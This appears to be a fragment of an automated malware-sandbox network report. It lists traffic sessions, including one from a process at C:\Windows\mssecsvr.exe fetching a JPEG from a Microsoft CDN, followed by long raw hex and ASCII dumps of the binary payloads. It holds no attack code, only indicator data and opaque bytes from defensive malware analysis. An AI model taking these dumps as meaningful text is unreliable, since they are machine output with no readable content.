ff 00 ec 7f 7c 72 59 f2 76 ec 25 69 71 5f 81 d2 07 e9 5b 69 d3 47 6d 6e 3a 7c e3 66 33 ce 72 09 72 d1 3d 08 9a 7f a6 f5 58 ad 32 42 0a ef b2 98 37 19 a5 3d b1 63 44 07 e9 28 a9 59 67 Data Ascii: a<prTd4@!bk%J0Ug9<C4X5--~HNZ55?V+6jJ];6o}3692?.j4~Z2b$f^umMuV5^K[2Y^Qf2\|rYv%iq_[iGmn:\|f3rr=X2B7=cD(Yg
2022-07-20 07:08:25 UTC	6824	IN	Data Raw: 30 f0 3c 29 88 bb 89 b9 cd 05 81 6b ad f8 83 52 ea 99 6a d0 18 83 3a 39 f8 29 e3 f4 54 41 a2 b4 8f 69 2f 4c 08 ef 4c 42 2b e9 a0 08 dc 37 a3 b6 9a 11 d5 89 d8 13 f4 0a 4d 80 a3 6f 41 a6 d0 87 4c 8a 54 32 ff 00 4d 4a 02 a6 9e 37 ab 03 8e 2d 40 0f 85 75 9b 52 7a 01 34 b6 1c a2 92 02 ee 0e f4 98 90 98 02 6a 6b df 51 3c 07 dd a9 75 97 26 8a d0 11 6d de 0c 9b 0d 16 b0 b7 6f 03 ed 52 4a 0a 99 09 e1 c9 01 4d 44 f0 07 b2 f5 2e 4a 41 27 f9 56 8f 94 2d 80 ed 06 a3 52 88 f6 b5 92 7b 88 fb 09 e2 7e 8a d2 fa 12 83 9f 2c b0 a7 2f 60 ac 66 4a 06 4d 39 43 d9 71 5a a4 4b 21 9f 22 56 5d 31 9b 7d 3f 4f dd a7 54 bc 49 64 b0 cc ce 97 6f 45 27 b8 10 e7 4a 12 3b 9e 1f 45 3a ee 67 7d 8a 72 48 71 b1 ef e9 b5 cf e9 34 37 2c e6 40 19 35 ce af 10 65 4d 40 dd 98 ff 00 db bd 54 ed 06 Data Ascii: 0<)kRj:9)TAi/LLB+7MoALT2MJ7-@uRz4jkQ<u&moRJMD.JA'V-R{~,/`fJM9CqZK!"V]1}?OTIdoE'J;E:g}rHq47,@5eM@T
2022-07-20 07:08:25 UTC	6840	IN	Data Raw: 5f 2f 75 45 a2 9b fe ea ae 4c 99 07 26 1e 16 24 ef 8d 9f 31 d4 a0 15 65 fa fc 1a 28 96 c1 9d 9f 7b c1 c4 3a 16 4c 87 41 d9 a1 b4 7f f6 29 c0 43 65 4f e7 53 e6 46 62 c6 4c 89 75 1e d2 75 70 f0 ff 00 db 5d 52 0e 24 f8 bb 36 66 40 d5 34 66 e7 d0 6c 5a 87 68 14 94 73 66 5c 19 1b 1f a2 a6 45 3c 59 9b 57 ea a7 72 ae aa 45 25 66 cf 95 d0 c6 cc 42 37 78 0e 17 fb 55 5c 60 97 64 54 7c d3 09 f7 74 71 91 72 1f 89 bb a7 5c 1c c2 5a 2b 1b f1 b9 3f 66 93 a9 49 85 20 f3 7e 16 32 04 c7 88 21 f5 cf fd b5 d2 e2 c4 cb 70 e5 ed db 8d db 22 53 2b 0f 41 1a 17 ee af 8a 8d 50 a4 bd 91 8f 89 1c 5a f1 39 58 10 05 8d 24 df 88 49 5e 42 91 ae ac ce 0d c4 fd 26 fe 15 a7 ff 00 01 19 cd df 32 49 cf 29 d1 19 ec 51 6f eb 78 aa aa 82 41 f1 63 16 b5 b8 0a b9 00 86 0e e0 fb 69 69 14 5c 91 61 Data Ascii: _/uEL&$1e({:LA)CeOSFbLuup]R$6f@4flZhsf\E<YWrE%fB7xU\`dT\|tqr\Z+?fI ~2!p"S+APZ9X$I^B&2I)QoxAcii\a
2022-07-20 07:08:25 UTC	6848	IN	Data Raw: d9 ba d9 08 d9 07 d0 fa d5 b9 47 a9 a9 bb 95 3c cd 25 17 32 3c bf 0e 0a 01 96 ba 64 d3 d8 4d ff 00 a9 59 f3 63 45 bd ab 3a 28 21 10 2c 4d 3b 8f 11 16 00 7a 8d 4d a0 68 bb ff 00 c7 64 dd 80 cb 92 75 5b 70 01 39 b4 fe ed a8 4e 36 02 a9 dd a1 f2 f6 bc 78 55 25 c8 06 da fd 03 fe de a5 09 3b 0d b0 2e 56 f1 36 6b f5 b2 5c bb fd 27 d1 f6 57 c3 5a 71 27 90 3e 59 b5 9b 81 56 91 0c ad 34 65 ea 93 81 11 88 98 1b d3 92 4b 78 18 d3 e4 4a 23 81 1a 42 38 90 a3 51 fd 9a 4d 8c d7 60 ec 2e c7 5c b6 57 3d 88 78 b7 ea 2d 66 30 ac 3e 54 8f bd 91 db e8 07 b7 f5 16 8e 42 2f c7 8f 89 b7 00 52 35 56 ec 05 b8 13 f6 52 8d c0 74 ae d9 16 32 1d 2b f4 91 fd 54 a7 b0 1c 81 a2 27 fc ba b4 af eb 37 05 a2 3e 20 5e f7 71 2f 53 35 c2 8f a0 54 ff 00 c0 40 cc bf 31 a8 25 31 63 16 b5 83 37 0f Data Ascii: G<%2<dMYcE:(!,M;zMhdu[p9N6xU%;.V6k\'WZq'>YV4eKxJ#B8QM`.\W=x-f0>TB/R5VRt2+T'7> ^q/S5T@1%1c7

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
34	192.168.2.6	51034	80.67.82.211	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 07:08:31 UTC	7690	OUT	GET /cms/api/am/imageFileData/RE4Iy6z?ver=0081 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 Host: img-prod-cms-rt-microsoft-com.akamaized.net Connection: Keep-Alive
2022-07-20 07:08:31 UTC	7691	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://image.prod.cms.rt.microsoft.com/cms/api/am/imageFileData/RE4Iy6z?ver=0081 Last-Modified: Sun, 17 Jul 2022 03:23:35 GMT X-Source-Length: 617057 X-Datacenter: northeu X-ActivityId: cfc7d8b5-fad7-4bef-a36e-07747095337c Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 617057 Cache-Control: public, max-age=159332 Expires: Fri, 22 Jul 2022 03:24:03 GMT Date: Wed, 20 Jul 2022 07:08:31 GMT Connection: close
2022-07-20 07:08:31 UTC	7691	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 03 02 02 03 02 02 03 03 03 03 04 03 03 04 05 08 05 05 04 04 05 0a 07 07 06 08 0c 0a 0c 0c 0b 0a 0b 0b 0d 0e 12 10 0d 0e 11 0e 0b 0b 10 16 10 11 13 14 15 15 15 0c 0f 17 18 16 14 18 12 14 15 14 ff db 00 43 01 03 04 04 05 04 05 09 05 05 09 14 0d 0b 0d 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 ff c0 00 11 08 07 80 04 38 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 Data Ascii: JFIF``CC8"}!1AQa"q2
2022-07-20 07:08:31 UTC	7707	IN	Data Raw: 6b 23 be ea 85 f3 1c 9b cb 7c bf c3 5c cf 88 ae a5 fb 67 ee fe eb 56 b4 e9 f3 4a c4 ca 56 42 eb 5a d8 55 61 e6 ed 5a e4 26 be 37 3c 06 6f bd f2 d6 b5 f5 8a 3e d3 23 7c cd 55 52 3b 78 23 94 46 bb 9b 6f de af 52 9c 63 15 a1 c5 36 db 29 6b 4c 90 da ee 0d f3 b3 0a cc d3 f5 69 63 56 8c ff 00 ab 6c d5 cb e4 37 96 be 5e df 99 6b 0d 3c cb 09 b0 ca cb 5d f4 e2 9c 6c 72 cd bb dd 17 af e6 2b 1b 6f 6f fb ea b9 f7 90 33 70 d5 73 50 bc f3 bf de ac f5 5d dd 6b ae 9c 6c 8e 79 3b e8 4b 0c c6 3e 51 be 6a 72 4c 77 31 1f 7a 9a ca 36 ae 29 15 76 d6 96 44 16 96 e3 6b 64 d4 91 a7 9d bc 9d ac db 6a b2 bf fc 0a ae da db 23 5a b4 8e db 1a b3 95 92 29 5c cd d9 8a 58 e3 77 6f bb 56 d5 13 cc e3 e6 5a ba ad 14 31 e7 6d 37 20 b1 90 e9 b5 b0 69 15 6a 77 6d ec c7 f8 5a a3 55 f9 ab 42 47 Data Ascii: k#\|\gVJVBZUaZ&7<o>#\|UR;x#FoRc6)kLicVl7^k<]lr+oo3psP]kly;K>QjrLw1z6)vDkdj#Z)\XwoVZ1m7 ijwmZUBG
2022-07-20 07:08:31 UTC	7723	IN	Data Raw: 51 b5 69 3c ca 6e a9 7c 5e 66 fe 2a cf 4c bb 57 a9 4a 92 8c 76 3c fa 95 1c 9d cb 12 5d 3b 35 59 b3 73 22 b0 aa 6c 85 7e 42 bf f7 d5 58 b7 c5 bb 2b 9a d5 ec 66 99 22 24 9b b8 fb d4 af 33 c2 d8 dd 56 9a e2 30 b9 0d f3 7f 0d 55 b9 74 91 b9 f9 6a 16 bd 0b db 62 f5 be a1 1b 2e 5d 77 35 6a d8 ea 07 76 7f 86 b9 bb 74 8e ac 35 d1 86 3a ce 54 d3 d1 15 19 d8 e8 5e e7 ed 53 62 93 5b ba 8e d5 62 51 f7 ab 0e df 52 d8 be 61 a8 b5 0d 43 ed 3c 9e b5 9c 69 3e 6d 76 34 f6 8a c5 d7 ba dd ca 7d ea 9e cd d3 6b 48 7f bb 58 76 37 05 5b 96 f9 69 64 9a 46 56 41 f7 6b 57 4f a1 9a 98 fd 52 e2 36 dd 8f bd 58 ae e5 aa 49 18 ee a4 64 2c bc 2d 75 c6 3c a8 c6 4e ee e3 36 ee a1 7b 54 9e 5e de b4 f8 e1 f3 1b 8a a2 06 47 21 8d b2 3e 5a 9d 19 9e ad c3 a5 07 55 c3 6d 66 ad 2b 3f 0e 97 93 ef Data Ascii: Qi<n\|^f*LWJv<];5Ys"l~BX+f"$3V0Utjb.]w5jvt5:T^Sb[bQRaC<i>mv4}kHXv7[idFVAkWOR6XId,-u<N6{T^G!>ZUmf+?
2022-07-20 07:08:31 UTC	7725	IN	Data Raw: db 6b 6a c3 5b 82 d7 74 62 2f 95 7e ed 61 53 6b 45 5d 9a d3 ef 26 5b d3 e4 33 5c 34 65 7f ef af e1 ae a3 4a d4 92 d6 4d 81 bf e0 55 e7 9f db 6e b2 4b 24 6b b5 9a 8f ed e9 55 7e f7 cd 5c d3 c3 b9 9b c6 b2 8f 53 d4 ee 3c 51 1f 4d d5 4d b5 24 b9 6c ee f9 6b cb e6 d5 64 6e 4b 54 b6 ba dc b0 b7 ca d5 9a c1 72 ad 0d 3e b2 a4 f5 3d 32 47 82 48 58 6e f9 ab 2d f1 6b b8 06 dc 8d fc 35 c8 5b 78 8a 58 db e6 6f bd 56 9b 5e f3 9b 96 a4 b0 f3 8e e3 f6 d1 91 a3 7c 82 16 47 4f e2 a5 b1 ba 2a db 47 dd 6a aa 97 42 e6 1f f7 69 2c 58 a5 c3 13 f7 6a b9 7d db 32 39 b5 ba 3a 34 d4 02 b6 3f 86 a7 b3 d4 37 4d 9d df bb 5f bb 58 cc c9 d0 d4 a9 0c 8a aa 13 ef 35 73 b8 2b 58 df 99 9d 65 be ac 1d 78 6a dd d3 f5 44 85 7c c7 6a e0 d6 e0 5a ae cd db 9a a9 df 78 89 d3 80 df ef 57 3b c3 f3 Data Ascii: kj[tb/~aSkE]&[3\4eJMUnK$kU~\S<QMM$lkdnKTr>=2GHXn-k5[xXoV^\|GO*GjBi,Xj}29:4?7M_X5s+XexjD\|jZxW;
2022-07-20 07:08:31 UTC	7741	IN	Data Raw: bd ea 46 14 9b 47 7a d0 81 39 a5 a5 54 a7 28 dd 40 86 51 52 6d ed 4f 86 30 d2 28 3f 77 77 cd 48 a4 49 a6 da 8b ab c8 a2 7f bb bb e6 db 5e a9 e1 7d 2e df 4b f9 e0 f9 77 7d ef f6 ab 23 45 d1 ed ac ed 7c dd bf c3 5d 3e 9a a9 33 6c 1f 2d 78 58 aa fc fa 2d 8f 5b 0f 4b 93 57 b9 b9 67 9b 8b 8f f6 6b 69 50 22 d5 1b 14 44 5f 96 ae b4 65 d6 bc 19 35 73 d4 8e c6 7e a2 81 96 b2 2e 5d 92 3f f6 6b 5a f1 36 2f 35 cf ea 57 9f 2b 0a 10 99 99 75 75 b7 f8 ab 22 e6 eb 77 f1 54 d7 4f bb 75 65 cd 9d d5 d3 14 ac 64 13 5c 55 49 a6 0d d2 89 97 75 45 e5 96 aa 26 e3 55 f7 56 85 9b 3f cb 9e 95 5a 1b 53 bb 9a d0 85 02 ae 28 63 46 c5 ba 7e ef 8a b9 18 aa 16 6d b9 71 5a 11 b6 da e7 ea 5a 27 5f 95 68 df b9 b1 52 6c f3 16 88 6d 64 79 be ed 32 89 ad a3 3b ab 4a 38 77 75 5f 96 9f 67 66 7b Data Ascii: FGz9T(@QRmO0(?wwHI^}.Kw}#E\|]>3l-xX-[KWgkiP"D_e5s~.]?kZ6/5W+uu"wTOued\UIuE&UV?ZS(cF~mqZZ'_hRlmdy2;J8wu_gf{
2022-07-20 07:08:31 UTC	7757	IN	Data Raw: 9b 1c 00 18 6d eb 91 90 dc 62 b0 7c 51 e0 c4 92 68 23 8a da 46 3a ac 89 1c f0 45 22 2b 4d 24 63 31 1d e4 13 b1 53 7e 7a 93 b5 6b b6 f1 86 bd 6f f0 ef c2 36 c7 47 5b 48 ef ec ef 52 09 64 9e 34 96 7b 3b 95 e4 5c 18 18 61 07 f1 2e c5 00 e4 b1 cd 7e 73 9b 4e b5 1c 47 b1 6d be 67 a7 5b 5c f4 a9 42 2e 3c dd 4a ab f0 d3 c3 76 d6 76 cd 7f e2 36 5f 32 da 1d 42 c6 da 09 26 95 f7 0c b9 66 44 03 ca 70 e3 23 90 71 9c 81 8c 57 3b 61 75 77 f1 22 ea 5f b5 dc da 36 a5 05 b4 9a 95 cd f4 ff 00 ba 4f 25 06 4c d2 bf 03 77 7c 80 4b 75 c6 6b 0f c3 ff 00 1e f5 ff 00 06 da ce fa 46 a1 a8 5c de ca db ad 16 ef 17 50 2a 48 84 ce 59 64 ca ee 67 23 0a 13 f8 9b e6 cf 5f 2c 86 e2 7b 8d 52 d8 6d fb 4b ae f5 5d bf 2a 6f 23 a2 8f ee e6 b9 a9 e0 1b 5c b5 64 da ff 00 22 e6 e3 b2 47 b4 fc 51 Data Ascii: mb\|Qh#F:E"+M$c1S~zko6G[HRd4{;\a.~sNGmg[\B.<Jvv6_2B&fDp#qW;auw"_6O%Lw\|KukF\PHYdg#_,{RmK]o#\d"GQ
2022-07-20 07:08:31 UTC	7765	IN	Data Raw: c6 0f dd f7 ae 37 c5 1f b5 2e b9 7d 25 b2 68 56 36 9a 52 c7 20 69 3e d7 fb f6 99 76 f3 1e 30 07 1e c4 1a e6 78 da 51 5a c8 6e 9d ba 1f 4c f9 69 b7 35 1e da f9 31 7f 6a 6f 1a ac 31 13 6d a7 b2 44 be 54 92 2d 81 dd 23 91 c4 84 6e c0 ff 00 74 60 57 77 e1 5f da 95 37 45 6d e2 4d 15 bc dd bf f1 f7 a5 b7 ca d8 04 f3 1b 9f 97 27 00 73 ea 69 c7 1d 45 bb 36 4f 23 3d e5 2d 9e 46 c2 d5 c7 d3 53 cb 5c 3f cd 5e 22 ff 00 b5 97 87 ed ae ae 52 0f 0f ea 53 c1 1a 96 8e 79 24 8d 15 98 0e f9 fb ab bb 8c f3 eb 56 7c 31 fb 58 78 7a fe de c6 2d 67 4a be d3 f5 19 22 76 9d ad 94 3d b2 c8 a9 b8 2a f3 bb 0c 7e 50 4f 7e b4 4b 19 4d bd 24 5c 69 ab 6a 8f 69 9a d6 3b 85 8a 34 8b 6b af cb ba a4 92 db 6d ab 45 b5 7e 5f e2 af 95 bc 67 fb 61 6b 77 93 4f 69 a1 68 30 78 7a dd a3 11 ad f6 a1 Data Ascii: 7.}%hV6R i>v0xQZnLi51jo1mDT-#nt`Ww_7EmM'siE6O#=-FS\?^"RSy$V\|1Xxz-gJ"v=*~PO~KM$\iji;4kmE~_gakwOih0xz
2022-07-20 07:08:31 UTC	7781	IN	Data Raw: df 71 39 31 2f 21 9d b6 f3 c9 03 e5 aa ba c7 8b 74 bb 0b ab 60 2e 75 0b 36 8a 74 69 6e 74 f9 37 aa c6 a7 6f c8 a4 2b 48 f8 1b b9 2b 8e 80 73 9a e6 f5 bb 1f 0f 5c ea 17 36 de 1f b1 d4 2d ac 20 c4 4d f6 b9 fc f6 56 3c 92 ee aa 14 67 9d be 95 89 1e 9a fa 5d ab 4e 5a 09 6c e5 b9 7b 48 a7 dc 5d e3 7d a1 81 c6 31 d0 e3 ff 00 d5 58 7d 5e 33 5a fe 25 68 58 f1 14 d3 eb 7a 6c fe 21 9f 4f 56 97 50 9f 75 b7 d9 a3 f3 7c 96 1f 22 ab b6 4e c1 df 07 19 ea 2b 6f c3 d6 71 6a 90 c1 a7 78 a2 5b e6 82 d5 a4 83 cb 82 33 f6 c8 63 c7 ca c8 b2 91 1b a2 b8 0a 50 b2 9c 03 b4 8e b5 c2 ba dd f8 7d a5 8a de f9 62 f3 a3 f2 e5 fb 0d c9 65 91 0e 38 6d bf 79 7f a8 ae 8e c6 68 35 48 67 92 f2 0f b5 ea d7 52 32 c9 a9 5c b1 58 95 1b 1c b2 ed 39 f9 c6 43 20 0d f7 87 7e 37 a9 46 d1 e6 83 46 aa Data Ascii: q91/!t`.u6tint7o+H+s\6- MV<g]NZl{H]}1X}^3Z%hXzl!OVPu\|"N+oqjx[3cP}be8myh5HgR2\X9C ~7FF
2022-07-20 07:08:31 UTC	7797	IN	Data Raw: de 9f 75 a5 dc c5 a8 ff 00 67 db 32 c9 1f d9 be 68 d6 e1 5b 1d 83 7c cc 87 1f 33 00 71 ed 5e 55 e1 bb 83 e6 6f bc bc 8e db ca ce e5 93 3b be b5 46 e7 58 37 1a 84 b2 26 d6 55 6f dd f9 9f 2a fb 52 8d 2d 39 5b 6f cf a8 bd 9f 76 7a 92 f8 b2 ef cc d4 15 3c 85 7b ec 79 f2 4e a1 5b 69 6e 48 3c 6c ab fe 2e f1 f0 93 4f 81 2f 6c ed 35 0f 96 3f b3 5c fd a6 49 65 da 3e f4 45 9c 93 b3 be d1 80 3b 1e d5 c3 69 3e 2e b6 89 97 fb 53 6e a0 f1 7f ab 59 f0 ca be a3 1f c5 9f 7f c2 ba 7d 73 e2 77 80 ee 5b 53 2f e0 98 16 de 59 d2 48 23 d3 ee 4c 52 ae 3a ab bb 6f 28 87 fb b1 8f c6 b3 a9 78 34 e3 07 2f 4b 7e a0 e1 a6 c5 bf 04 fc 72 d7 3c 2b 24 fa 76 91 73 25 8d 84 b1 79 7f 66 56 dc 8c a4 ef 7e 3b 82 e3 76 3d 96 b1 35 ef 88 97 9e 2a be d4 2f 2f 1a fa e5 99 fc cb b9 fc 82 c8 ac d9 Data Ascii: ug2h[\|3q^Uo;FX7&UoR-9[ovz<{yN[inH<l.O/l5?\Ie>E;i>.SnY}sw[S/YH#LR:o(x4/K~r<+$vs%yfV~;v=5//
2022-07-20 07:08:31 UTC	7805	IN	Data Raw: 67 be 33 c5 4b 27 86 3c 43 e1 fb 59 ee 22 59 27 d2 d6 38 64 bb b9 b1 de f6 d0 bb 8c ac 52 31 50 a1 c7 dd 2b d8 d7 69 e1 fd 7b 4f 86 fa 2b 84 b6 b1 56 82 e5 23 f2 2f 95 da 2e 4f 2c 7c b2 19 90 0f 98 8f c3 06 bb ef 0d f8 e3 c3 f6 1e 3e 82 2f 0e 7d b9 67 8a 59 25 82 4b eb d7 4b 06 52 1d e4 8c 45 82 f8 6c 7c ab 9c 9e 98 15 c5 89 c4 54 a3 f0 42 ff 00 97 fc 02 ae cb 7f 0d e1 b6 b1 d3 e0 80 f8 7a 78 b5 76 8a 16 6d 42 da 33 12 5b dc c8 70 37 96 60 36 0e 1b 0b 8d df 37 23 9a eb 74 9b 9d 5b 43 d1 7f b6 fc 49 a9 dc cf 6f 1b 4f 04 9a b5 cc 89 75 6d 33 30 6d a1 96 3d e5 46 c1 b9 77 60 67 68 ef 9a cd f1 b5 f8 f1 0e 9f 6d 2c 9a 84 76 df 6a 59 22 b4 bc d2 58 7d 81 66 11 f9 6f 14 fe 66 37 e5 f6 ed c6 0a f9 a7 24 f1 5e 33 e2 f8 75 0d 12 4d 32 ca fb 53 db a5 ea 71 09 1a e7 Data Ascii: g3K'<CY"Y'8dR1P+i{O+V#/.O,\|>/}gY%KKREl\|TBzxvmB3[p7`67#t[CIoOum30m=Fw`ghm,vjY"X}fof7$^3uM2Sq
2022-07-20 07:08:31 UTC	7821	IN	Data Raw: b1 bc b0 59 88 f3 b5 6d 2e 67 97 cc 6e 9d 58 e0 7e 34 fd 49 bf 73 65 a1 b7 8d 98 c7 2b 79 50 29 55 8e 7b 29 1a 08 f7 7c db 97 9e 70 7e 6d a3 8c d5 cb fd 57 c4 16 36 6a 9f f0 96 6b 3f 67 81 93 cb b6 b1 63 1a 36 ec 02 4c 4a 4a a8 f9 47 51 8e 3b 77 e3 7f e1 3a b6 9a e2 74 4b c9 2d 9e 5f 97 e5 92 36 7f 5e a7 bf b1 1c ff 00 7a b4 97 c5 b6 57 30 f9 50 58 c1 73 17 97 f7 a7 d8 8b ee 70 32 09 3f 8e 2a 79 61 2d d1 a2 9b 8e cc b4 b1 de db 79 a9 3e b8 b7 9b a3 3f e8 d7 2b 6e af ff 00 02 0e 47 4e bc 55 cd 12 c2 ff 00 58 87 ca 82 e5 6f 27 dd e6 c9 6d 62 c8 ed 1a 28 cb b6 23 07 e5 55 f9 8f 5a ab 7d 6b 73 fd 8f e5 25 9c 71 2a ed fb 32 dd b7 ca a3 af ca 49 55 3d 7b 66 b2 6c 16 c9 19 5a ef 53 8d 67 6f bb 1e 9a bb 1b 78 18 da 71 93 f5 a2 cd 6c 4f 32 ea 69 6b d6 70 5e 5d 45 Data Ascii: Ym.gnX~4Ise+yP)U{)\|p~mW6jk?gc6LJJGQ;w:tK-_6^zW0PXsp2?ya-y>?+nGNUXo'mb(#UZ}ks%q2IU={flZSgoxqlO2ikp^]E
2022-07-20 07:08:31 UTC	7837	IN	Data Raw: 8a 08 2f a7 d9 1c 86 46 58 d9 37 33 1e ed bb e6 3f 43 5b 3a 2f 8b 3c 48 bc c8 b3 b2 49 85 f3 17 cb 4f 97 d3 04 63 f9 55 9b 6b 1b db c8 d8 c1 aa e9 ab 2e ef de 47 e5 9d ed df 85 61 b9 bf 0a d1 87 5b 82 c3 7d b5 e4 b0 5c ee 51 b9 6d 2d 9d 53 d7 e6 dd 9e 4f b5 5d b9 50 b7 64 f6 df 11 75 0d cd 1d ec f1 c5 66 aa 3c b6 b9 8c 36 ef ae 38 c7 e3 50 cd f1 22 28 75 2f 30 6a 31 db 23 65 9a 05 b6 1b 19 7d b0 c4 ff 00 2a ca b8 b8 b2 d5 6f a0 d3 ed be c3 12 c8 c1 a3 9e 4d 8d d7 a0 dc 24 1e 5f fb c4 0a d1 4f 01 e8 cb 6b 9d 42 78 d6 59 24 0b 1a da 67 e6 f7 57 c9 f7 a9 bb d9 17 be a3 75 3f 19 59 de 6e fb 23 69 2b 70 b8 da d7 30 3b ac 8d ef 91 b4 7e 35 4e c6 69 6f 19 76 2e c7 fe 18 f4 fd ed 04 8d eb 80 09 52 7d b8 e9 c0 ad 98 fc 1b e1 e8 f6 9b 6b 9d 42 f2 76 ff 00 96 17 37 Data Ascii: /FX73?C[:/<HIOcUk.Ga[}\Qm-SO]Pduf<68P"(u/0j1#e}*oM$_OkBxY$gWu?Yn#i+p0;~5Niov.R}kBv7
2022-07-20 07:08:31 UTC	7844	IN	Data Raw: ee 66 dc b4 87 6d 2c 42 a4 c8 d2 ec a8 de de 3d b2 9f e2 a9 12 33 1a a9 fe 26 5d d4 d4 ff 00 59 93 40 88 51 0f 96 a0 fd da 74 8c 57 6e 7e ea d3 e6 42 92 31 fe eb 55 9b 85 0f 1a 80 bb 5b ef 54 16 44 ef ba a3 99 37 35 2b 7c cb 8a 9a da 30 ec ff 00 ee 9a b0 1b 0b 22 c2 c8 57 e6 6c 32 b7 f7 68 b7 de db 87 f7 a9 2c f1 24 d0 03 fd ea 92 fa 33 6d 71 2a 0f f7 aa 6c 49 99 f6 67 9a 6d 89 f7 97 f8 ab 5f 4f 8f 74 ca 3e f6 da cc b6 9b 75 c6 4b 7d ea d6 b0 1b 2f 36 1f e2 fb b4 2d 87 23 7a 14 d8 db fe 5f 96 a9 6a 10 bb ae f6 e9 57 11 fc bf f7 59 aa 4b a7 0f 6b b0 27 cc cd ba b2 b6 a5 c6 d6 31 a4 b1 db 1f 98 1b 8a 86 de df ba 7f 15 6d 34 63 ec 38 fe 26 8f ee fd 2b 36 d9 82 6e 2f f7 ab 5d 89 28 c9 6c ed 75 cb 7c bb 7e 6a 91 2d c6 d6 7f e1 5a b8 ac 37 67 fe 03 4e 64 db 6b Data Ascii: fm,B=3&]Y@QtWn~B1U[TD75+\|0"Wl2h,$3mq*lIgm_Ot>uK}/6-#z_jWYKk'1m4c8&+6n/](lu\|~j-Z7gNdk
2022-07-20 07:08:31 UTC	7860	IN	Data Raw: 66 cd a2 5d bc 7e 42 40 db f7 7f bb 59 4a 9b 4f dd 45 c6 a2 6b 56 73 cd 6e eb b4 7f 12 d3 96 16 da c3 67 cd 5d 12 f8 57 51 8d 9b cc b6 91 77 2f cb f2 9f c2 a1 93 c3 d7 bb b1 e4 32 b6 dd bb 5a 97 b2 97 62 f9 e3 dc e6 23 67 8d 58 7f df 35 27 98 5a 3c 0f ba cb b5 96 b4 2e b4 5b 9b 66 c3 db 36 e6 6f bd b7 f4 aa 6d 6d 24 6a c0 c1 22 fc bf 2e e5 2b 51 c8 d7 42 f9 91 02 a6 e5 5f fd 96 92 34 df 37 98 3e 45 db fc 35 25 ba 95 56 0f 51 48 a5 15 71 f7 7f d9 ac ca 2c b2 bb 2a f9 5b 59 2b 32 14 37 13 4a 25 f9 57 ff 00 41 ab 09 95 5c 6e ff 00 75 7f da a8 64 8d ed e3 f2 c7 de 66 f9 9a ad 3d 09 b1 55 2e 1e c7 77 94 dc b3 56 b5 8c 81 d5 44 ad f2 b5 64 dc c6 15 97 6f fb bf ef 55 af f5 7e 53 ff 00 cb 5f ef 54 a7 66 3b 68 3a e3 4f 29 36 f8 db 72 b7 cb f3 53 ae ac 65 86 df cc Data Ascii: f]~B@YJOEkVsng]WQw/2Zb#gX5'Z<.[f6omm$j".+QB_47>E5%VQHq,*[Y+27J%WA\nudf=U.wVDdoU~S_Tf;h:O)6rSe
2022-07-20 07:08:31 UTC	7876	IN	Data Raw: e9 56 56 16 b1 45 1c 1f 22 ae d9 19 57 6b 48 bc 75 23 18 ac 9c 97 42 a3 19 77 39 65 b9 7d 5a 39 dd 36 b6 ef 99 a0 93 28 cc bd c7 f7 6a b6 9b 6f aa 6a 57 df 64 b3 d3 2e 67 96 38 de 55 82 36 1b 95 14 6e 27 dc 05 e7 a5 76 12 43 24 d1 b6 f5 f9 3f bb e7 95 db ef 8c d3 7f b0 ed 2e a6 cd c5 b4 72 ac 4a 77 4f 1c 7b d9 72 0e d0 71 d3 35 3c d6 d8 b5 7e ac c4 86 38 bc 95 df 79 68 d7 5e 5f 99 e5 f9 e1 db d7 6e 57 23 7e 3f 86 9d 6e f3 b6 db 8b 79 ed 2d ae a2 ff 00 96 72 40 ec f2 7b a9 51 c7 e7 5b 71 e9 51 da b4 a5 2d 96 07 65 ff 00 96 6c 15 7e b8 61 cf 15 5d ec 3c c5 7f b4 4a bb 76 89 17 76 1b e5 ec 32 07 06 a3 56 5e a3 a3 f1 3e ab 6d 27 99 3d cf fa c6 da cc cb bb eb ce 29 2e 3c 4f a8 46 b1 45 3b 79 a9 fc 3e 5b 6e 5e 7d 0e 38 f7 a2 3b 59 6e 64 7f b2 d8 b5 ca b4 7b 65 Data Ascii: VVE"WkHu#Bw9e}Z96(jojWd.g8U6n'vC$?.rJwO{rq5<~8yh^_nW#~?ny-r@{Q[qQ-el~a]<Jvv2V^>m'=).<OFE;y>[n^}8;Ynd{e
2022-07-20 07:08:31 UTC	7884	IN	Data Raw: c7 5d e0 b2 e3 fd 93 9c d7 94 78 5f f6 a4 b7 f0 be b1 a9 cd 7d 7d 77 af 3d d2 ac f1 da 5e 45 04 11 2b ba 2e dd ec a1 e4 66 1c 02 02 e3 f1 c9 ae 33 c6 5f b4 0f 8d 3c 55 f6 9b dd 32 db 4f f0 e5 94 72 95 99 b4 bb 40 b2 c7 27 f1 62 49 0b 9c f6 c8 0b 9e c3 bd 70 ac 44 a4 b7 3a 5d 05 16 7d 41 ad 7c 33 f8 7f a5 46 b2 eb 17 d0 5b 59 db 2f 98 b1 dc dd 84 f2 54 f5 c7 b1 c7 40 b5 99 e1 bb 8f 83 fe 30 d6 96 2d 1d 74 97 d4 a4 90 47 6d 6d 7b 6d 34 5b 9c 75 0b e6 10 8e df ec fa f6 ed 5f 9e fe 26 be d6 ee 35 8b 9d 6e e2 f2 49 6f 65 64 96 e6 ee e6 42 f2 b3 29 ca 97 2d f3 3e 0e 31 59 cd f1 83 50 d2 f5 0b 18 8c ad 2c 10 29 f3 2d 24 90 3c 12 33 73 84 24 16 c1 1b 7a 92 54 af 07 d2 5c a7 dc b5 08 df 54 7d 93 